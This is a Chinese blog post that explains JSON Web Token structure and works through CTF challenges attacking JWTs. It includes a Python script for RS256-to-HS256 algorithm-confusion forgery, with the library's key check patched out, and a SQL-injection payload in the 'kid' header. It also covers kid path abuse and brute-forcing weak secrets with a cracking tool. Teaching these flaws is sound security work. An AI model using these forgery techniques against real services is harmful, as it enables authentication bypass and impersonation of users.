Sky's blog

Json Web Token历险记

Word count: 2,940 / Reading time: 12 min
2018/05/19 Share

前记

最近国赛+校赛遇到两次json web token的题,发现自己做的并不算顺畅,于是有了这篇学习文章

为什么要使用Json Web Token

Json Web Token简称jwt
顾名思义,可以知道是用于身份认证的
那么为什么要有身份认证?
我们知道HTTP是无状态的,打个比方:
有状态:
A:你今天中午吃的啥?
B:吃的大盘鸡。
A:味道怎么样呀?
B:还不错,挺好吃的。

无状态:
A:你今天中午吃的啥?
B:吃的大盘鸡。
A:味道怎么样呀?
B:???啊?啥?啥味道怎么样?
那么怎么样可以让HTTP记住曾经发生的事情呢?
这里的选择可以很多:cookie,session,jwt
对于一般的cookie,如果我们的加密措施不当,很容易造成信息泄露,甚至信息伪造,这肯定不是我们期望的。
那么对于session呢?
对于session:客户端在服务端登陆成功之后,服务端会生成一个sessionID,返回给客户端,客户端将sessionID保存到cookie中,例如phpsessid,再次发起请求的时候,携带cookie中的sessionID到服务端,服务端会缓存该session(会话),当客户端请求到来的时候,服务端就知道是哪个用户的请求,并将处理的结果返回给客户端,完成通信。
但是这样的机制会存在一些问题:
1、session保存在服务端,当客户访问量增加时,服务端就需要存储大量的session会话,对服务器有很大的考验;
2、当服务端为集群时,用户登陆其中一台服务器,会将session保存到该服务器的内存中,但是当用户的访问到其他服务器时,会无法访问,通常采用缓存一致性技术来保证可以共享,或者采用第三方缓存来保存session,不方便。
所以这个时候就需要jwt了
在身份验证中,当用户使用他们的凭证成功登录时,JSON Web Token将被返回并且必须保存在本地(通常在本地存储中,但也可以使用Cookie),而不是在传统方法中创建会话服务器并返回一个cookie。
无论何时用户想要访问受保护的路由或资源,用户代理都应使用承载方案发送JWT,通常在授权header中。header的内容应该如下所示:

1
Authorization: Bearer <token>

这是一种无状态身份验证机制,因为用户状态永远不会保存在服务器内存中。服务器受保护的路由将在授权头中检查有效的JWT,如果存在,则允许用户访问受保护的资源。由于JWT是独立的,所有必要的信息都在那里,减少了多次查询数据库的需求。
这使我们可以完全依赖无状态的数据API,无论哪些域正在为API提供服务,因此跨源资源共享(CORS)不会成为问题,因为它不使用Cookie。

Json Web Token结构

那么一般jwt长什么样子呢?
我们随便挑一个看看:

1
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW5za3kiLCJwcml2Ijoib3RoZXIifQ.AoTc1q2NAErgqk6EeTK4MGH7cANVVF9XTy0wLv8HpgUfNcdM-etmv0Y9XmOuygF_ymV1rF6XQZzLrtkFqdMdP0NaZnTOYH35Yevaudx9bVpu9JHG4qeXo-0TXBcpaPmBaM0V0GxyZRNIS2KwRkNaxAQDQnyTN-Yi3w8OVpJYBiI

不妨解密一下

1
{"alg":"RS256","typ":"JWT"}{"name":"adminsky","priv":"other"}乱码

不难看出,jwt解码后分为3个部分,由三个点(.)分隔
分别为:

1
2
3
Header
Payload
Signature

通常由两部分组成:令牌的类型,即JWT和正在使用的散列算法,如HMAC SHA256或RSA。
正如json所显示

1
2
3
4
{
"alg":"RS256",
"typ":"JWT"
}

alg为算法的缩写,typ为类型的缩写
然后,这个JSON被Base64编码,形成JSON Web Token的第一部分。

Payload

令牌的第二部分是包含声明的有效负载。声明是关于实体(通常是用户)和其他元数据的声明。
这里是用户随意定义的数据
例如上面的举例

1
2
3
4
{
"name":"adminsky",
"priv":"other"
}

然后将有效载荷Base64进行编码以形成JSON Web Token的第二部分。
但是需要注意对于已签名的令牌,此信息尽管受到篡改保护,但任何人都可以阅读。除非加密,否则不要将秘密信息放在JWT的有效内容或标题元素中。

Signature

要创建签名部分,必须采用header,payload,密钥
然后利用header中指定算法进行签名
例如HS256(HMAC SHA256),签名的构成为:

1
2
3
4
HMACSHA256(
base64Encode(header) + "." +
base64Encode(payload),
secret)

然后将这部分base64编码形成JSON Web Token第三部分

Json Web Token攻击手段

既然JWT作为一种身份验证的手段,那么必然存在伪造身份的恶意攻击,那么我们下面探讨一下常见的JWT攻击手段

算法修改攻击

我们知道JWT的header部分中,有签名算法标识alg
而alg是用于签名算法的选择,最后保证用户的数据不被篡改。
但是在数据处理不正确的情况下,可能存在alg的恶意篡改
例如由于网站的不严谨,我们拿到了泄露的公钥pubkey
我们知道如果签名算法为RS256,那么会选择用私钥进行签名,用公钥进行解密验证
假设我们只拿到了公钥,且公钥模数极大,不可被分解,那么如何进行攻击呢?
没有私钥我们是几乎不可能在RS256的情况下篡改数据的,因为第三部分签名需要私钥,所以我们可以尝试将RS256改为HS256
此时即非对称密码变为对称加密
我们知道非对称密码存在公私钥问题
而对称加密只有一个key
此时如果以pubkey作为key对数据进行篡改,则会非常简单,而如果后端的验证也是根据header的alg选择算法,那么显然正中下怀。
下面以一道实战为例进行说明:
拿到题目

1
http://pastebin.bxsteam.xyz

一开始不知道是要做什么,所以先查看源码
发现

1
http://pastebin.bxsteam.xyz/static/js/common.js

其中几个点引人注目
关注点1:

1
2
3
4
5
6
auth = "Bearer " + token;
$.ajax({
url: '/list',
type: 'GET',
headers:{"Authorization":auth},
})

存在web token
关注点2:

1
2
3
4
5
6
function getpubkey(){
/*
get the pubkey for test
/pubkey/{hash}
*/
}

发现有一个存放公钥的目录
所以立刻想到了json web token
于是我抓包查看token

1
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW5za3kiLCJwcml2Ijoib3RoZXIifQ.AoTc1q2NAErgqk6EeTK4MGH7cANVVF9XTy0wLv8HpgUfNcdM-etmv0Y9XmOuygF_ymV1rF6XQZzLrtkFqdMdP0NaZnTOYH35Yevaudx9bVpu9JHG4qeXo-0TXBcpaPmBaM0V0GxyZRNIS2KwRkNaxAQDQnyTN-Yi3w8OVpJYBiI

使用https://jwt.io/
得到3段:

1
2
3
4
5
6
7
8
9
{
"alg": "RS256",
"typ": "JWT"
}
{
"name": "adminsky",
"priv": "other"
}
signature

所以我的想法就是探测pubkey泄露,利用公私钥伪造json web token
因为这个题的机制是私钥加密,公钥解密
所以只要我们能拿到私钥,即可伪造json web token
关注到格式

1
2
3
4
5
6
function getpubkey(){
/*
get the pubkey for test
/pubkey/{hash}
*/
}

天真的我尝试了

1
2
3
md5(username)
md5(salt.username)
md5(username.salt)

其中salt试了无数,例如Bearer,bxs,rebirth
都没有成功,心态崩了,暂且搁置
后来得到提示

1
Web Pastebin /pubkey/md5(username+password)

我才发现是username+password
访问

1
http://pastebin.bxsteam.xyz/pubkey/4eb8deaa574fdc8257e39b5dd4c6490e

得到

1
{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtRgwKdQFRKkXupJ8lHIXT/QTi\nmT9lobR6+1m4ubQXFaBlM7sJkzaoasPdU6e/5dJ5TelQSC59deolcXJ1iHf4/Qmz\ndDX3L/ShtfPXZEGKkYCKC2kF0ekBz4W4LSQfaunZEz/yoScLqz9wOP8vwxAYN+P1\nFtFrTzMdBYo8begEewIDAQAB\n-----END PUBLIC KEY-----","result":true}

解析公钥

1
2
3
key长度:	1024
模数: AD460C0A7501512A45EEA49F251C85D3FD04E2993F65A1B47AFB59B8B9B41715A06533BB099336A86AC3DD53A7BFE5D2794DE950482E7D75EA257172758877F8FD09B37435F72FF4A1B5F3D764418A91808A0B6905D1E901CF85B82D241F6AE9D9133FF2A1270BAB3F7038FF2FC3101837E3F516D16B4F331D058A3C6DE8047B
指数: 65537 (0x10001)

本想尝试分解,但发现1024bit的n基本无解,所以私钥是不可能获取了,这个时候我的思路其实被灭杀了。
因为没有私钥基本不能篡改json web token,毕竟无法通过消息验证码校验
而这里就需要修改算法RS256为HS256(非对称密码算法 => 对称密码算法)
算法HS256使用秘密密钥对每条消息进行签名和验证。
算法RS256使用私钥对消息进行签名,并使用公钥进行验证。
如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。
由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。
后端代码会使用RSA公钥+HS256算法进行签名验证。
即更改算法为HS256,此时即不存在公钥私钥问题,因为对称密码算法只有一个key
此时即我们可以任意访问的pubkey
故此我立刻写出了构造脚本

1
2
3
4
import jwt
import base64
public = open('1.txt', 'r').read()
print jwt.encode({"name": "adminsky","priv": "admin"}, key=public, algorithm='HS256')

注:1.txt为公钥
priv为admin,因为之前为other,即其他人,同时只有admin可以读flag,所以这里猜测为admin
运行发现报错:

1
2
3
File "G:\python2.7\lib\site-packages\jwt\algorithms.py", line 151, in prepare_key
'The specified key is an asymmetric key or x509 certificate and'
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

发现源码的第151行爆破了,于是去跟踪库的源码
发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def prepare_key(self, key):
key = force_bytes(key)

invalid_strings = [
b'-----BEGIN PUBLIC KEY-----',
b'-----BEGIN CERTIFICATE-----',
b'-----BEGIN RSA PUBLIC KEY-----',
b'ssh-rsa'
]

if any([string_value in key for string_value in invalid_strings]):
raise InvalidKeyError(
'The specified key is an asymmetric key or x509 certificate and'
' should not be used as an HMAC secret.')

return key

prepare_key会判断是否有非法字符,简单粗暴的注释掉

1
2
3
def prepare_key(self, key):
key = force_bytes(key)
return key

保存后再运行得到

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW5za3kiLCJwcml2IjoiYWRtaW4ifQ.zc8m-ymnOrwuvd2kdsKMBVrT_9JXPXHkFf4vcPWecqI

然后利用这个去访问list
即可得到admin的消息

1
admin:4fd5988f73c7a414f4c947e9fd708811

访问

1
http://pastebin.bxsteam.xyz/text/admin:4fd5988f73c7a414f4c947e9fd708811

得到flag

1
{"content":"cumtctf{jwt_is_not_safe_too_much}","result":true}

至此,我们成功用修改算法攻击(非对称密码 => 对称密码)破解了此题

密钥可控问题

题目1:
在国赛中,我遇到了这样的JWT:

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiI4MjAxIn0.eyJuYW1lIjoiYWRtaW4yMzMzIn0.aC0DlfB3pbeIqAQ18PaaTOPA5PSipJe651w7E0BZZRI

header头:

1
2
3
4
5
{
"typ":"JWT",
"alg":"sha256",
"kid":"8201"
}

其中kid为密钥key的编号id
类似逻辑为

1
sql="select * from table where kid=$kid"

这样查询出来的值即为key的值
但是如果我们在这里进行恶意篡改,例如

1
kid = 0 union select 12345

这样查询出来的结果必然为12345
这样等同于我们控制了密钥key
拥有了密钥key,那么即可任意伪造消息,达到成为admin登入的目的了
题目2:
同样在HITB 2017中也存在一道这样可控密钥的题目
这里的详情可以在最后的参考链接中查看,这里我简要叙述一下
首先header中同样存在kid可控问题

1
2
3
4
5
{
"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851",
"typ":"JWT",
"alg":"RS256"
}

并且题目存在写消息保存于本地的功能
于是最后可以自己写公钥,保存于服务器
利用kid可控的路径去加载自己写的公钥
然后用相应的私钥去篡改信息,伪造admin,利用我们自己写的公钥进行验证

密钥爆破问题

我们知道在HS签名算法中,只有一个密钥
如果这个密钥的复杂度不够,或者为弱口令
那么很容易导致攻击者轻松的破解,达到篡改消息,伪造身份的目的
破解工具也有现成的:

1
https://github.com/brendan-rius/c-jwt-cracker

使用方法:

1
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE

即可得到密钥:Sn1f
然后即可进行消息的恶意伪造,篡改

参考链接

https://jwt.io

https://www.jianshu.com/p/e64d96b4a54d

https://chybeta.github.io/2017/08/29/HITB-CTF-2017-Pasty-writeup/

https://delcoding.github.io/2018/03/jwt-bypass/

http://www.cnblogs.com/dliv3/p/7450057.html

CATALOG
  1. 1. 前记
  2. 2. 为什么要使用Json Web Token
  3. 3. Json Web Token结构
    1. 3.1. Header
    2. 3.2. Payload
    3. 3.3. Signature
  4. 4. Json Web Token攻击手段
    1. 4.1. 算法修改攻击
    2. 4.2. 密钥可控问题
    3. 4.3. 密钥爆破问题
  5. 5. 参考链接